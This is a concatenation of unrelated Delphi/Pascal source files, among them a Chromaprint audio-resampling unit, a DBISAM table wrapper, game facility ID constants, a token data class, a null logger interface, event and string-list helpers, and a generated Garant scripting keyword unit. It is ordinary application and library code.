but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with CMC. If not, see <http://www.gnu.org/licenses/>.
************************************************************************** }
{ **************************************************************************
Additional Copyright (C) for this modul:
Chromaprint: Audio fingerprinting toolkit
Copyright (C) 2010-2012 Lukas Lalinsky <lalinsky@gmail.com>
Lomont FFT: Fast Fourier Transformation
Original code by Chris Lomont, 2010-2012, http://www.lomont.org/Software/
************************************************************************** }
{$ENDREGION}
{$REGION 'Notes'}
{ **************************************************************************
See CP.Chromaprint.pas for more information
************************************************************************** }
unit CP.AudioProcessor;
{$IFDEF FPC}
{$MODE delphi}
{$ELSE}
{$DEFINE AVResample}
{$DEFINE FF_API_AVCODEC_RESAMPLE}
{$ENDIF}
interface
uses
Classes, SysUtils,
{$IFDEF AVResample}
libavcodec,
{$ELSE}
CP.Resampler,
{$ENDIF}
CP.AudioConsumer, CP.Def;
type
{ TAudioProcessor }
TAudioProcessor = class(TAudioConsumer)
private
FBufferOffset: integer;
FBufferSize: integer;
FTargetSampleRate: integer;
FNumChannels: integer;
FResampleCTX: PAVResampleContext;
FConsumer: TAudioConsumer;
FBuffer: TSmallintArray;
FResampleBuffer: TSmallintArray;
private
procedure Resample;
function Load(input: TSmallintArray; offset: integer; ALength: integer): integer;
procedure LoadMono(input: TSmallintArray; offset: integer; ALength: integer);
procedure LoadStereo(input: TSmallintArray; offset: integer; ALength: integer);
procedure LoadMultiChannel(input: TSmallintArray; offset: integer; ALength: integer);
public
property TargetSampleRate: integer read FTargetSampleRate write FTargetSampleRate;
property consumer: TAudioConsumer read FConsumer write FConsumer;
public
constructor Create(SampleRate: integer; consumer: TAudioConsumer);
destructor Destroy; override;
function Reset(SampleRate, NumChannels: integer): boolean;
procedure Flush;
procedure Consume(input: TSmallintArray; AOffset: integer; ALength: integer); override;
end;
implementation
uses
CP.FFT, CP.SilenceRemover,
Math
{$IFDEF FPC}
, DaMath
{$ENDIF};
{ TAudioProcessor }
procedure TAudioProcessor.Resample;
var
consumed, lLength: integer;
remaining: integer;
begin
// coding C++ is a pain
if (FResampleCTX = nil) then
begin
FConsumer.Consume(FBuffer, 0, FBufferOffset);
FBufferOffset := 0;
Exit;
end;
consumed := 0;
{$IFDEF AVResample}
lLength := av_resample(FResampleCTX, @FResampleBuffer[0], @FBuffer[0], @consumed, FBufferOffset, kMaxBufferSize, 1);
{$ELSE}
lLength := FResampleCTX.Resample(FResampleBuffer, FBuffer, consumed, FBufferOffset, kMaxBufferSize, 1);
{$ENDIF}
if (lLength > kMaxBufferSize) then
begin
// DEBUG("Chromaprint::AudioProcessor::Resample() -- Resampling overwrote output buffer.");
lLength := kMaxBufferSize;
end;
FConsumer.Consume(FResampleBuffer, 0, lLength); // do the FFT now
remaining := FBufferOffset - consumed;
if (remaining > 0) then
begin
Move(FBuffer[consumed], FBuffer[0], remaining * SizeOf(smallint));
end
else if (remaining < 0) then
begin
// DEBUG("Chromaprint::AudioProcessor::Resample() -- Resampling overread input buffer.");
remaining := 0;
end;
FBufferOffset := remaining;
end;
function TAudioProcessor.Load(input: TSmallintArray; offset: integer; ALength: integer): integer;
var
lLength: integer;
begin
lLength := Math.Min(ALength, FBufferSize - FBufferOffset);
case (FNumChannels) of
1:
LoadMono(input, offset, lLength);
2:
LoadStereo(input, offset, lLength);
else
LoadMultiChannel(input, offset, lLength);
end;
FBufferOffset := FBufferOffset + lLength;
Result := lLength;
end;
procedure TAudioProcessor.LoadMono(input: TSmallintArray; offset: integer; ALength: integer);
var
i: integer;
begin
i := FBufferOffset;
while ALength > 0 do
begin
FBuffer[i] := input[offset];
Inc(offset);
Inc(i);
Dec(ALength);
end;
end;
procedure TAudioProcessor.LoadStereo(input: TSmallintArray; offset: integer; ALength: integer);
var
i: integer;
begin
i := FBufferOffset;
while (ALength > 0) do
begin
FBuffer[i] := (input[offset] + input[offset + 1]) div 2;
Inc(i);
Inc(offset, 2);
Dec(ALength);
end;
end;
procedure TAudioProcessor.LoadMultiChannel(input: TSmallintArray; offset: integer; ALength: integer);
var
sum: longint;
i, j: integer;
begin
i := FBufferOffset;
while ALength > 0 do
begin
sum := 0;
for j := 0 to FNumChannels - 1 do
begin
sum := sum + input[offset];
Inc(offset);
end;
FBuffer[i] := sum div FNumChannels;
Inc(i);
Dec(ALength);
end;
end;
constructor TAudioProcessor.Create(SampleRate: integer; consumer: TAudioConsumer);
begin
FBufferSize := kMaxBufferSize;
FTargetSampleRate := SampleRate;
FConsumer := consumer;
FResampleCTX := nil;
SetLength(FBuffer, kMaxBufferSize);
FBufferOffset := 0;
SetLength(FResampleBuffer, kMaxBufferSize);
end;
destructor TAudioProcessor.Destroy;
begin
{$IFDEF AVResample}
av_resample_close(FResampleCTX);
FResampleCTX := nil;
{$ELSE}
if FResampleCTX <> nil then
Dispose(FResampleCTX);
{$ENDIF}
SetLength(FBuffer, 0);
SetLength(FResampleBuffer, 0);
inherited Destroy;
end;
function TAudioProcessor.Reset(SampleRate, NumChannels: integer): boolean;
begin
if (NumChannels <= 0) then
begin
// Debug.WriteLine("Chromaprint::AudioProcessor::Reset() -- No audio channels.");
Result := False;
Exit;
end;
if (SampleRate <= kMinSampleRate) then
begin
{ Debug.WriteLine("Chromaprint::AudioProcessor::Reset() -- Sample rate less than 0 1, kMinSampleRate, sample_rate); }
Result := False;
Exit;
end;
FBufferOffset := 0;
if (FResampleCTX <> nil) then
begin
{$IFDEF AVResample}
av_resample_close(FResampleCTX);
FResampleCTX := nil;
{$ELSE}
Dispose(FResampleCTX);
FResampleCTX := nil;
{$ENDIF}
end;
if (SampleRate <> FTargetSampleRate) then
begin
{$IFDEF AVResample}
FResampleCTX := av_resample_init(FTargetSampleRate, SampleRate, kResampleFilterLength, kResamplePhaseCount, kResampleLinear, kResampleCutoff);
{$ELSE}
FResampleCTX := New(PAVResampleContext);
FResampleCTX.Clear;
FResampleCTX.Init(FTargetSampleRate, SampleRate, kResampleFilterLength, kResamplePhaseCount, kResampleLinear, kResampleCutoff);
{$ENDIF}
end;
FNumChannels := NumChannels;
Result := True;
end;
procedure TAudioProcessor.Flush;
begin
if (FBufferOffset <> 0) then
Resample();
end;
procedure TAudioProcessor.Consume(input: TSmallintArray; AOffset: integer; ALength: integer);
var
offset, consumed: integer;
lLength: integer;
begin
lLength := ALength div FNumChannels;
offset := 0;
while (lLength > 0) do
begin
consumed := Load(input, offset, lLength);
offset := offset + consumed * FNumChannels;
lLength := lLength - consumed;
if (FBufferSize = FBufferOffset) then
begin
Resample();
if (FBufferSize = FBufferOffset) then
begin
// DEBUG("Chromaprint::AudioProcessor::Consume() -- Resampling failed?");
Exit;
end;
end;
end;
end;
end.
|
{ Date Created: 5/25/00 5:01:02 PM }
unit InfoLOSSCODETable;
interface
uses
Classes, DB, DBISAMTb, SysUtils, DBISAMTableAU, DataBuf;
type
TInfoLOSSCODERecord = record
PCode: String[3];
PDescription: String[30];
PActive: Boolean;
End;
TInfoLOSSCODEBuffer = class(TDataBuf)
protected
function PtrIndex(Index:integer):Pointer;override;
public
Data: TInfoLOSSCODERecord
end;
TEIInfoLOSSCODE = (InfoLOSSCODEPrimaryKey);
TInfoLOSSCODETable = class( TDBISAMTableAU )
private
FDFCode: TStringField;
FDFDescription: TStringField;
FDFActive: TBooleanField;
procedure SetPCode(const Value: String);
function GetPCode:String;
procedure SetPDescription(const Value: String);
function GetPDescription:String;
procedure SetPActive(const Value: Boolean);
function GetPActive:Boolean;
procedure SetEnumIndex(Value: TEIInfoLOSSCODE);
function GetEnumIndex: TEIInfoLOSSCODE;
protected
procedure CreateFields; virtual;
procedure SetActive(Value: Boolean); override;
procedure LoadFieldDefs(AStringList:TStringList);override;
procedure LoadIndexDefs(AStringList:TStringList);override;
public
function GetDataBuffer:TInfoLOSSCODERecord;
procedure StoreDataBuffer(ABuffer:TInfoLOSSCODERecord);
property DFCode: TStringField read FDFCode;
property DFDescription: TStringField read FDFDescription;
property DFActive: TBooleanField read FDFActive;
property PCode: String read GetPCode write SetPCode;
property PDescription: String read GetPDescription write SetPDescription;
property PActive: Boolean read GetPActive write SetPActive;
procedure Validate; virtual;
published
property Active write SetActive;
property EnumIndex: TEIInfoLOSSCODE read GetEnumIndex write SetEnumIndex;
end; { TInfoLOSSCODETable }
procedure Register;
implementation
procedure TInfoLOSSCODETable.CreateFields;
begin
FDFCode := CreateField( 'Code' ) as TStringField;
FDFDescription := CreateField( 'Description' ) as TStringField;
FDFActive := CreateField( 'Active' ) as TBooleanField;
end; { TInfoLOSSCODETable.CreateFields }
procedure TInfoLOSSCODETable.SetActive(Value: Boolean);
begin
inherited SetActive(Value);
if Active then
CreateFields;
end; { TInfoLOSSCODETable.SetActive }
procedure TInfoLOSSCODETable.Validate;
begin
{ Enter Validation Code Here }
end; { TInfoLOSSCODETable.Validate }
procedure TInfoLOSSCODETable.SetPCode(const Value: String);
begin
DFCode.Value := Value;
end;
function TInfoLOSSCODETable.GetPCode:String;
begin
result := DFCode.Value;
end;
procedure TInfoLOSSCODETable.SetPDescription(const Value: String);
begin
DFDescription.Value := Value;
end;
function TInfoLOSSCODETable.GetPDescription:String;
begin
result := DFDescription.Value;
end;
procedure TInfoLOSSCODETable.SetPActive(const Value: Boolean);
begin
DFActive.Value := Value;
end;
function TInfoLOSSCODETable.GetPActive:Boolean;
begin
result := DFActive.Value;
end;
procedure TInfoLOSSCODETable.LoadFieldDefs(AStringList: TStringList);
begin
inherited;
with AstringList do
begin
Add('Code, String, 3, N');
Add('Description, String, 30, N');
Add('Active, Boolean, 0, N');
end;
end;
procedure TInfoLOSSCODETable.LoadIndexDefs(AStringList: TStringList);
begin
inherited;
with AstringList do
begin
Add('PrimaryKey, Code, Y, Y, N, N');
end;
end;
procedure TInfoLOSSCODETable.SetEnumIndex(Value: TEIInfoLOSSCODE);
begin
case Value of
InfoLOSSCODEPrimaryKey : IndexName := '';
end;
end;
function TInfoLOSSCODETable.GetDataBuffer:TInfoLOSSCODERecord;
var buf: TInfoLOSSCODERecord;
begin
fillchar(buf, sizeof(buf), 0);
buf.PCode := DFCode.Value;
buf.PDescription := DFDescription.Value;
buf.PActive := DFActive.Value;
result := buf;
end;
procedure TInfoLOSSCODETable.StoreDataBuffer(ABuffer:TInfoLOSSCODERecord);
begin
DFCode.Value := ABuffer.PCode;
DFDescription.Value := ABuffer.PDescription;
DFActive.Value := ABuffer.PActive;
end;
function TInfoLOSSCODETable.GetEnumIndex: TEIInfoLOSSCODE;
var iname : string;
begin
iname := uppercase(indexname);
if iname = '' then result := InfoLOSSCODEPrimaryKey;
end;
(********************************************)
(************ Register Component ************)
(********************************************)
procedure Register;
begin
RegisterComponents( 'Info Tables', [ TInfoLOSSCODETable, TInfoLOSSCODEBuffer ] );
end; { Register }
function TInfoLOSSCODEBuffer.PtrIndex(index:integer):Pointer;
begin
result := nil;
case index of
1 : result := @Data.PCode;
2 : result := @Data.PDescription;
3 : result := @Data.PActive;
end;
end;
end. { InfoLOSSCODETable }
|
unit FacIds;
interface
type
TFacId = integer;
PFacIdArray = ^TFacIdArray;
TFacIdArray = array[0..0] of TFacId;
const
FID_None = 0;
// Headquarters
FID_MainHeadquarter = 10;
FID_OffcHeadquarter = 12;
FID_IndHeadquarter = 11;
FID_CommHeadquarter = 13;
FID_PubHeadquarter = 14;
// Residentials
FID_hiClassLoCost = 20;
FID_midClassLoCost = 21;
FID_lowClassLoCost = 22;
FID_hiClass = 25;
FID_midClass = 26;
FID_lowClass = 27;
// Office
FID_Office = 30;
// Industries
FID_Farm = 40;
FID_FoodProc = 42;
FID_Chemical = 44;
FID_Mine = 46;
FID_Textile = 48;
FID_Metal = 50;
FID_ElectComp = 52;
FID_Clothes = 54;
FID_Household = 56;
FID_BusMach = 58;
FID_Heavy = 60;
FID_Car = 62;
FID_Construction = 64;
FID_MovieStudios = 65;
FID_Pharmaceutics = 66;
FID_Plastics = 68;
FID_Toys = 69;
FID_OilRig = 200;
FID_Refinery = 201;
FID_LiquorFact = 202;
FID_ChemicalMine = 203;
FID_SiliconMine = 204;
FID_StoneMine = 205;
FID_CoalMine = 206;
FID_LumberMill = 207;
FID_FurnitureInd = 208;
FID_PaperInd = 209;
FID_PrintingPlant = 210;
FID_CDPlant = 211;
// Commerce
FID_FoodStore = 70;
FID_ClotheStore = 71;
FID_HHAStore = 72;
FID_BMStore = 73;
FID_CarStore = 74;
FID_Supermarket = 75;
FID_Bar = 76;
FID_Restaurant = 77;
FID_Movie = 78;
FID_DrugStore = 79;
FID_ToyStore = 90;
FID_GasStation = 91;
FID_Furniture = 92;
FID_BookStore = 93;
FID_CompStore = 94;
FID_Funeral = 95;
FID_CDStore = 96;
// Business
FID_SoftwareFirm = 80;
FID_LawyerFirm = 81;
// Public Facilities
FID_Hospital = 100;
FID_School = 101;
FID_Police = 102;
FID_FireStation = 103;
FID_Correctional = 104;
FID_Park = 105;
FID_Disposal = 106;
FID_Amusement = 107;
FID_Jail = 108;
FID_Agency = 109;
// Special
FID_Bank = 110;
FID_TVStation = 111;
FID_TVAntena = 112;
// Warehouses
FID_ColdWarehouse = 120;
FID_ChemicalWarehouse = 121;
FID_GeneralWarehouse = 122;
FID_FabricsWarehouse = 123;
FID_OreWarehouse = 124;
FID_MegaWarehouseImp = 125;
FID_MegaWarehouseExp = 126;
// Luxury Facilities
FID_LuxuryFac = 140;
function NewFacIds(var Dest : PFacIdArray; const Source : array of TFacId) : integer ;
function Contains(Ids : array of TFacId; Id : TFacId) : boolean;
implementation
function NewFacIds(var Dest : PFacIdArray; const Source : array of TFacId) : integer ;
begin
result := high(Source) - low(Source) + 1;
if result > 0
then
begin
GetMem(Dest, result*sizeof(Dest[0]));
move(Source, Dest^, result*sizeof(Dest[0]));
end
else Dest := nil;
end;
function Contains(Ids : array of TFacId; Id : TFacId) : boolean;
var
i : integer;
begin
i := low(Ids);
while (i <= high(Ids)) and (Ids[i] <> Id) do
inc(i);
result := i <= high(Ids);
end;
end.
|
unit AuthorizationToken;
interface
type
TAuthorizationToken = class
private
Faccess_token: String;
Ftoken_type: String;
Fscope: String;
Fexpires_in: Integer;
Fuser_name: String;
Fjti: String;
public
property access_token : String read Faccess_token write Faccess_token;
property token_type : String read Ftoken_type write Ftoken_type;
property expires_in : Integer read Fexpires_in write Fexpires_in;
property scope : String read Fscope write Fscope;
property user_name : String read Fuser_name write Fuser_name;
property jti : String read Fjti write Fjti;
end;
implementation
end.
|
{ ***************************************************************************
Copyright (c) 2016-2019 Kike Pérez
Unit : Quick.Logger.Intf
Description : Quick Logger Interface
Author : Kike Pérez
Version : 1.8
Created : 30/08/2019
Modified : 11/09/2019
This file is part of QuickLib: https://github.com/exilon/QuickLib
***************************************************************************
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*************************************************************************** }
unit Quick.Logger.Intf;
{$i QuickLib.inc}
interface
uses
{$IFNDEF FPC}
System.SysUtils;
{$ELSE}
SysUtils;
{$ENDIF}
type
ILogger = interface
['{1065BB46-7EB8-480A-8B30-ED3B865DDB18}']
procedure Info(const aMsg : string); overload;
procedure Info(const aMsg : string; aParams : array of const); overload;
procedure Succ(const aMsg : string); overload;
procedure Succ(const aMsg : string; aParams : array of const); overload;
procedure Done(const aMsg : string); overload;
procedure Done(const aMsg : string; aParams : array of const); overload;
procedure Warn(const aMsg : string); overload;
procedure Warn(const aMsg : string; aParams : array of const); overload;
procedure Error(const aMsg : string); overload;
procedure Error(const aMsg : string; aParams : array of const); overload;
procedure Critical(const aMsg : string); overload;
procedure Critical(const aMsg : string; aParams : array of const); overload;
procedure Trace(const aMsg : string); overload;
procedure Trace(const aMsg : string; aParams : array of const); overload;
procedure Debug(const aMsg : string); overload;
procedure Debug(const aMsg : string; aParams : array of const); overload;
procedure &Except(const aMsg : string; aValues : array of const); overload;
procedure &Except(const aMsg, aException, aStackTrace : string); overload;
procedure &Except(const aMsg : string; aValues: array of const; const aException, aStackTrace: string); overload;
end;
TNullLogger = class(TInterfacedObject,ILogger)
procedure Info(const aMsg : string); overload;
procedure Info(const aMsg : string; aParams : array of const); overload;
procedure Succ(const aMsg : string); overload;
procedure Succ(const aMsg : string; aParams : array of const); overload;
procedure Done(const aMsg : string); overload;
procedure Done(const aMsg : string; aParams : array of const); overload;
procedure Warn(const aMsg : string); overload;
procedure Warn(const aMsg : string; aParams : array of const); overload;
procedure Error(const aMsg : string); overload;
procedure Error(const aMsg : string; aParams : array of const); overload;
procedure Critical(const aMsg : string); overload;
procedure Critical(const aMsg : string; aParams : array of const); overload;
procedure Trace(const aMsg : string); overload;
procedure Trace(const aMsg : string; aParams : array of const); overload;
procedure Debug(const aMsg : string); overload;
procedure Debug(const aMsg : string; aParams : array of const); overload;
procedure &Except(const aMsg : string; aValues : array of const); overload;
procedure &Except(const aMsg, aException, aStackTrace : string); overload;
procedure &Except(const aMsg : string; aValues: array of const; const aException, aStackTrace: string); overload;
procedure &Except(MsgObject : TObject); overload;
end;
implementation
{ TNullLogger }
procedure TNullLogger.Info(const aMsg: string);
begin
end;
procedure TNullLogger.Info(const aMsg: string; aParams: array of const);
begin
end;
procedure TNullLogger.Succ(const aMsg: string; aParams: array of const);
begin
end;
procedure TNullLogger.Succ(const aMsg: string);
begin
end;
procedure TNullLogger.Done(const aMsg: string);
begin
end;
procedure TNullLogger.Debug(const aMsg: string; aParams: array of const);
begin
end;
procedure TNullLogger.Done(const aMsg: string; aParams: array of const);
begin
end;
procedure TNullLogger.Warn(const aMsg: string);
begin
end;
procedure TNullLogger.Warn(const aMsg: string; aParams: array of const);
begin
end;
procedure TNullLogger.Error(const aMsg: string);
begin
end;
procedure TNullLogger.Error(const aMsg: string; aParams: array of const);
begin
end;
procedure TNullLogger.Critical(const aMsg: string);
begin
end;
procedure TNullLogger.&Except(MsgObject: TObject);
begin
end;
procedure TNullLogger.Critical(const aMsg: string; aParams: array of const);
begin
end;
procedure TNullLogger.Trace(const aMsg: string);
begin
end;
procedure TNullLogger.Trace(const aMsg: string; aParams: array of const);
begin
end;
procedure TNullLogger.Debug(const aMsg: string);
begin
end;
procedure TNullLogger.&Except(const aMsg: string; aValues: array of const);
begin
end;
procedure TNullLogger.&Except(const aMsg: string; aValues: array of const; const aException, aStackTrace: string);
begin
end;
procedure TNullLogger.&Except(const aMsg, aException, aStackTrace: string);
begin
end;
end.
|
unit UNotifyEventToMany;
interface
uses
Classes;
// Skybuck: could be moved to Lists folder, seems more like a list to me ;)
type
TNotifyEventToMany = Class
private
FList : Array of TNotifyEvent;
public
function IndexOf(search : TNotifyEvent) : Integer;
procedure Add(newNotifyEvent : TNotifyEvent);
procedure Remove(removeNotifyEvent : TNotifyEvent);
procedure Invoke(sender : TObject);
function Count : Integer;
procedure Delete(index : Integer);
Constructor Create;
End;
implementation
uses
SysUtils;
{ TNotifyEventToMany }
procedure TNotifyEventToMany.Add(newNotifyEvent: TNotifyEvent);
begin
if IndexOf(newNotifyEvent)>=0 then exit;
SetLength(FList,length(FList)+1);
FList[high(FList)] := newNotifyEvent;
end;
function TNotifyEventToMany.Count: Integer;
begin
Result := Length(FList);
end;
constructor TNotifyEventToMany.Create;
begin
SetLength(FList,0);
end;
procedure TNotifyEventToMany.Delete(index: Integer);
Var i : Integer;
begin
if (index<0) Or (index>High(FList)) then raise Exception.Create('Invalid index '+Inttostr(index)+' in '+Self.ClassName+'.Delete');
for i := index+1 to high(FList) do begin
FList[i-1] := FList[i];
end;
SetLength(FList,length(FList)-1);
end;
function TNotifyEventToMany.IndexOf(search: TNotifyEvent): Integer;
begin
for Result := low(FList) to high(FList) do begin
if (TMethod(FList[Result]).Code = TMethod(search).Code) And
(TMethod(FList[Result]).Data = TMethod(search).Data) then Exit;
end;
Result := -1;
end;
procedure TNotifyEventToMany.Invoke(sender: TObject);
Var i,j : Integer;
begin
j := -1;
Try
for i := low(FList) to high(FList) do begin
j := i;
FList[i](sender);
end;
Except
On E:Exception do begin
E.Message := Format('Error TNotifyManyEventHelper.Invoke %d/%d (%s) %s',[j+1,length(FList),E.ClassType,E.Message]);
Raise;
end;
End;
end;
procedure TNotifyEventToMany.Remove(removeNotifyEvent: TNotifyEvent);
Var i : Integer;
begin
i := IndexOf(removeNotifyEvent);
if (i>=0) then begin
Delete(i);
end;
end;
end.
|
unit ListOfStrings;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;
type
TListOfStrings = class(TComponent)
private
FStrings: TStringList;
procedure SetStrings(const Value: TStringList);
{ Private declarations }
protected
{ Protected declarations }
public
{ Public declarations }
constructor Create(AOwner:TComponent);override;
destructor Destroy;override;
function IndexOf(s:string):integer;
function Value(i:integer):string;
function Count:integer;
published
{ Published declarations }
property Strings:TStringList read FStrings write SetStrings;
end;
procedure Register;
implementation
procedure Register;
begin
RegisterComponents('FFS Common', [TListOfStrings]);
end;
{ TListOfStrings }
function TListOfStrings.Count: integer;
begin
count := FStrings.Count;
end;
constructor TListOfStrings.Create(AOwner: TComponent);
begin
inherited;
FStrings := TStringList.Create;
end;
destructor TListOfStrings.Destroy;
begin
FStrings.Free;
inherited;
end;
function TListOfStrings.IndexOf(s: string): integer;
var i : integer;
begin
i := FStrings.IndexOf(s);
result := i;
end;
procedure TListOfStrings.SetStrings(const Value: TStringList);
begin
FStrings.Assign(Value);
end;
function TListOfStrings.Value(i: integer): string;
begin
result := '';
if (i >= 0) and (i < Count) then result := FStrings[i];
end;
end.
|
unit UserCR1_WarningBaloonKeywordsPack;
{* Набор слов словаря для доступа к экземплярам контролов формы UserCR1_WarningBaloon }
// Модуль: "w:\garant6x\implementation\Garant\GbaNemesis\View\Document\Forms\UserCR1_WarningBaloonKeywordsPack.pas"
// Стереотип: "ScriptKeywordsPack"
// Элемент модели: "UserCR1_WarningBaloonKeywordsPack" MUID: (4EF47F2E0348_Pack)
{$Include w:\garant6x\implementation\Garant\nsDefine.inc}
interface
{$If NOT Defined(Admin) AND NOT Defined(Monitorings) AND NOT Defined(NoScripts) AND NOT Defined(NoVCL)}
uses
l3IntfUses
;
{$IfEnd} // NOT Defined(Admin) AND NOT Defined(Monitorings) AND NOT Defined(NoScripts) AND NOT Defined(NoVCL)
implementation
{$If NOT Defined(Admin) AND NOT Defined(Monitorings) AND NOT Defined(NoScripts) AND NOT Defined(NoVCL)}
uses
l3ImplUses
, UserCR1_WarningBaloon_Form
, tfwPropertyLike
{$If Defined(Nemesis)}
, nscEditor
{$IfEnd} // Defined(Nemesis)
, tfwScriptingInterfaces
, TypInfo
, tfwTypeInfo
, tfwControlString
, kwBynameControlPush
, TtfwClassRef_Proxy
, SysUtils
, TtfwTypeRegistrator_Proxy
, tfwScriptingTypes
//#UC START# *4EF47F2E0348_Packimpl_uses*
//#UC END# *4EF47F2E0348_Packimpl_uses*
;
type
TkwUserCR1WarningBaloonFormViewer = {final} class(TtfwPropertyLike)
{* Слово скрипта .TUserCR1_WarningBaloonForm.Viewer }
private
function Viewer(const aCtx: TtfwContext;
aUserCR1_WarningBaloonForm: TUserCR1_WarningBaloonForm): TnscEditor;
{* Реализация слова скрипта .TUserCR1_WarningBaloonForm.Viewer }
protected
class function GetWordNameForRegister: AnsiString; override;
procedure DoDoIt(const aCtx: TtfwContext); override;
public
function GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo; override;
function GetAllParamsCount(const aCtx: TtfwContext): Integer; override;
function ParamsTypes: PTypeInfoArray; override;
procedure SetValuePrim(const aValue: TtfwStackValue;
const aCtx: TtfwContext); override;
end;//TkwUserCR1WarningBaloonFormViewer
Tkw_Form_UserCR1_WarningBaloon = {final} class(TtfwControlString)
{* Слово словаря для идентификатора формы UserCR1_WarningBaloon
----
*Пример использования*:
[code]форма::UserCR1_WarningBaloon TryFocus ASSERT[code] }
protected
function GetString: AnsiString; override;
class procedure RegisterInEngine; override;
class function GetWordNameForRegister: AnsiString; override;
end;//Tkw_Form_UserCR1_WarningBaloon
Tkw_UserCR1_WarningBaloon_Control_Viewer = {final} class(TtfwControlString)
{* Слово словаря для идентификатора контрола Viewer
----
*Пример использования*:
[code]контрол::Viewer TryFocus ASSERT[code] }
protected
function GetString: AnsiString; override;
class procedure RegisterInEngine; override;
class function GetWordNameForRegister: AnsiString; override;
end;//Tkw_UserCR1_WarningBaloon_Control_Viewer
Tkw_UserCR1_WarningBaloon_Control_Viewer_Push = {final} class(TkwBynameControlPush)
{* Слово словаря для контрола Viewer
----
*Пример использования*:
[code]контрол::Viewer:push pop:control:SetFocus ASSERT[code] }
protected
procedure DoDoIt(const aCtx: TtfwContext); override;
class function GetWordNameForRegister: AnsiString; override;
end;//Tkw_UserCR1_WarningBaloon_Control_Viewer_Push
function TkwUserCR1WarningBaloonFormViewer.Viewer(const aCtx: TtfwContext;
aUserCR1_WarningBaloonForm: TUserCR1_WarningBaloonForm): TnscEditor;
{* Реализация слова скрипта .TUserCR1_WarningBaloonForm.Viewer }
begin
Result := aUserCR1_WarningBaloonForm.Viewer;
end;//TkwUserCR1WarningBaloonFormViewer.Viewer
class function TkwUserCR1WarningBaloonFormViewer.GetWordNameForRegister: AnsiString;
begin
Result := '.TUserCR1_WarningBaloonForm.Viewer';
end;//TkwUserCR1WarningBaloonFormViewer.GetWordNameForRegister
function TkwUserCR1WarningBaloonFormViewer.GetResultTypeInfo(const aCtx: TtfwContext): PTypeInfo;
begin
Result := TypeInfo(TnscEditor);
end;//TkwUserCR1WarningBaloonFormViewer.GetResultTypeInfo
function TkwUserCR1WarningBaloonFormViewer.GetAllParamsCount(const aCtx: TtfwContext): Integer;
begin
Result := 1;
end;//TkwUserCR1WarningBaloonFormViewer.GetAllParamsCount
function TkwUserCR1WarningBaloonFormViewer.ParamsTypes: PTypeInfoArray;
begin
Result := OpenTypesToTypes([TypeInfo(TUserCR1_WarningBaloonForm)]);
end;//TkwUserCR1WarningBaloonFormViewer.ParamsTypes
procedure TkwUserCR1WarningBaloonFormViewer.SetValuePrim(const aValue: TtfwStackValue;
const aCtx: TtfwContext);
begin
RunnerError('Нельзя присваивать значение readonly свойству Viewer', aCtx);
end;//TkwUserCR1WarningBaloonFormViewer.SetValuePrim
procedure TkwUserCR1WarningBaloonFormViewer.DoDoIt(const aCtx: TtfwContext);
var l_aUserCR1_WarningBaloonForm: TUserCR1_WarningBaloonForm;
begin
try
l_aUserCR1_WarningBaloonForm := TUserCR1_WarningBaloonForm(aCtx.rEngine.PopObjAs(TUserCR1_WarningBaloonForm));
except
on E: Exception do
begin
RunnerError('Ошибка при получении параметра aUserCR1_WarningBaloonForm: TUserCR1_WarningBaloonForm : ' + E.Message, aCtx);
Exit;
end;//on E: Exception
end;//try..except
aCtx.rEngine.PushObj(Viewer(aCtx, l_aUserCR1_WarningBaloonForm));
end;//TkwUserCR1WarningBaloonFormViewer.DoDoIt
function Tkw_Form_UserCR1_WarningBaloon.GetString: AnsiString;
begin
Result := 'UserCR1_WarningBaloonForm';
end;//Tkw_Form_UserCR1_WarningBaloon.GetString
class procedure Tkw_Form_UserCR1_WarningBaloon.RegisterInEngine;
begin
inherited;
TtfwClassRef.Register(TUserCR1_WarningBaloonForm);
end;//Tkw_Form_UserCR1_WarningBaloon.RegisterInEngine
class function Tkw_Form_UserCR1_WarningBaloon.GetWordNameForRegister: AnsiString;
begin
Result := 'форма::UserCR1_WarningBaloon';
end;//Tkw_Form_UserCR1_WarningBaloon.GetWordNameForRegister
function Tkw_UserCR1_WarningBaloon_Control_Viewer.GetString: AnsiString;
begin
Result := 'Viewer';
end;//Tkw_UserCR1_WarningBaloon_Control_Viewer.GetString
class procedure Tkw_UserCR1_WarningBaloon_Control_Viewer.RegisterInEngine;
begin
inherited;
TtfwClassRef.Register(TnscEditor);
end;//Tkw_UserCR1_WarningBaloon_Control_Viewer.RegisterInEngine
class function Tkw_UserCR1_WarningBaloon_Control_Viewer.GetWordNameForRegister: AnsiString;
begin
Result := 'контрол::Viewer';
end;//Tkw_UserCR1_WarningBaloon_Control_Viewer.GetWordNameForRegister
procedure Tkw_UserCR1_WarningBaloon_Control_Viewer_Push.DoDoIt(const aCtx: TtfwContext);
begin
aCtx.rEngine.PushString('Viewer');
inherited;
end;//Tkw_UserCR1_WarningBaloon_Control_Viewer_Push.DoDoIt
class function Tkw_UserCR1_WarningBaloon_Control_Viewer_Push.GetWordNameForRegister: AnsiString;
begin
Result := 'контрол::Viewer:push';
end;//Tkw_UserCR1_WarningBaloon_Control_Viewer_Push.GetWordNameForRegister
initialization
TkwUserCR1WarningBaloonFormViewer.RegisterInEngine;
{* Регистрация UserCR1_WarningBaloonForm_Viewer }
Tkw_Form_UserCR1_WarningBaloon.RegisterInEngine;
{* Регистрация Tkw_Form_UserCR1_WarningBaloon }
Tkw_UserCR1_WarningBaloon_Control_Viewer.RegisterInEngine;
{* Регистрация Tkw_UserCR1_WarningBaloon_Control_Viewer }
Tkw_UserCR1_WarningBaloon_Control_Viewer_Push.RegisterInEngine;
{* Регистрация Tkw_UserCR1_WarningBaloon_Control_Viewer_Push }
TtfwTypeRegistrator.RegisterType(TypeInfo(TUserCR1_WarningBaloonForm));
{* Регистрация типа TUserCR1_WarningBaloonForm }
{$If Defined(Nemesis)}
TtfwTypeRegistrator.RegisterType(TypeInfo(TnscEditor));
{* Регистрация типа TnscEditor }
{$IfEnd} // Defined(Nemesis)
